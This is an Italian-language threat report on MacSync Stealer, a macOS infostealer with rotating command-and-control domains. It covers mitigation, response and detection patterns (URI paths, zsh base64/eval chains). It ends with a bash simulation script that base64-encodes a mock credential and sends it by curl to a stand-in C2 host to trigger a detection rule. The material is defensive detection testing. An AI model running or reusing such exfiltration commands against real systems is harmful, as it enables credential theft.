MacSync Stealer Utilizza un’infrastruttura C2 Rotante

Riassunto

MacSync Stealer è un malware per sottrarre informazioni su macOS offerto tramite un modello di malware-as-a-service. Si basa su un loader multi-stage zsh che si connette a un pool rotante di domini di command-and-control per esfiltrare le informazioni rubate, incluse password e credenziali di portafogli di criptovalute. Il loader trasmette password in chiaro attraverso un parametro query-string e carica un archivio ZIP dei dati raccolti in blocchi da 10 MiB. La sua strategia di rotazione dell’infrastruttura dipende da una chiave API statica riutilizzata su diversi domini insieme a un token esadecimale per build.

Indagine

RST Cloud ha rilevato un tentativo di download dal dominio appena registrato jacksonvillemma.com e ha catturato il loader della Fase 2 zsh entro un’ora. L’analisi statica ha rilevato il token del loader, la chiave API e il trio di percorsi di command-and-control: /curl, /dynamic, e /gate. Ulteriore pivoting basato su questi pattern URI ha rivelato un cluster di circa dodici domini di command-and-control sospetti attivi tra febbraio e maggio 2026. Quattro di questi domini sono stati confermati come condividenti la stessa chiave API, mentre gli altri sono stati collegati attraverso comportamenti corrispondenti degli URI.

Mitigazione

I difensori dovrebbero bloccare tutti i domini di command-and-control di MacSync conosciuti e monitorare i pattern distintivi dei percorsi URL utilizzati dal malware. I registri Proxy e DNS dovrebbero essere esaminati per richieste contenenti /curl, /dynamic, e /gate, così come per la stringa user-agent di macOS accorciata simile a Chrome legata al loader. I team di sicurezza dovrebbero inoltre rilevare la creazione di /tmp/osalogging.zip e osservare i processi che eseguono zsh processi che eseguono base64 -D, gunzip, e valuta in combinazione.

Risposta

Se viene trovato un indicatore corrispondente, isolare immediatamente l’endpoint interessato, terminare il processo maligno zsh e raccogliere la memoria per l’analisi di eventuali payload AppleScript. Reimpostare le password utente esposte e invalidare le credenziali compromesse memorizzate nel portachiavi macOS. La logica di rilevamento dovrebbe anche essere aggiornata con il token osservato, la chiave API e i pattern user-agent per ridurre il rischio di compromissioni future.

Esecuzione della Simulazione

Prerequisito: Il Check Pre‑flight della Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione e Comandi dell’Attacco:
  Un avversario ha distribuito il binario MacSync Stealer su una workstation macOS compromessa. Il malware estrae la password del portachiavi macOS dell’utente corrente, la codifica in base64 e la esfiltra tramite una richiesta HTTP GET attraverso il proxy aziendale. La richiesta mira al noto endpoint C2 https://malicious.c2.net/dynamic?txd=<payload>. Poiché i log del proxy registrano gli URL completi, la regola di rilevamento vedrà la dynamic?txd= sottostringa e genererà un avviso.

• Script di Test di Regressione:

   #!/bin/bash
    # macsync_stealer_simulation.sh
    # Simula la comunicazione C2 di MacSync Stealer per attivare la regola di rilevamento.
  
    PROXY="http://proxy.corp.local:3128"
    C2_BASE="https://malicious.c2.net/dynamic?txd="
  
    # 1️⃣ Estrarre una password mock (a scopi dimostrativi usare il nome dell'utente corrente)
    PASSWORD="$(whoami):P@ssw0rd!"
  
    # 2️⃣ Codifica le credenziali in base64 (emula il passo di codifica di MacSync)
    ENCODED=$(printf "%s" "$PASSWORD" | base64)
  
    # 3️⃣ Costruire l'URL malevolo completo
    MALICIOUS_URL="${C2_BASE}${ENCODED}"
  
    # 4️⃣ Inviare la richiesta tramite il proxy aziendale
    curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
  
    echo "Simulazione eseguita – payload inviato a $MALICIOUS_URL"

• Comandi di Pulizia:

   # Rimuovere eventuali file temporanei (nessuno creato) e, facoltativamente, pulire la cache del proxy
    echo "Pulizia degli artefatti della simulazione..."
    # Se si utilizza Squid, pulire l'URL dalla cache per evitare hit ripetuti
    sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"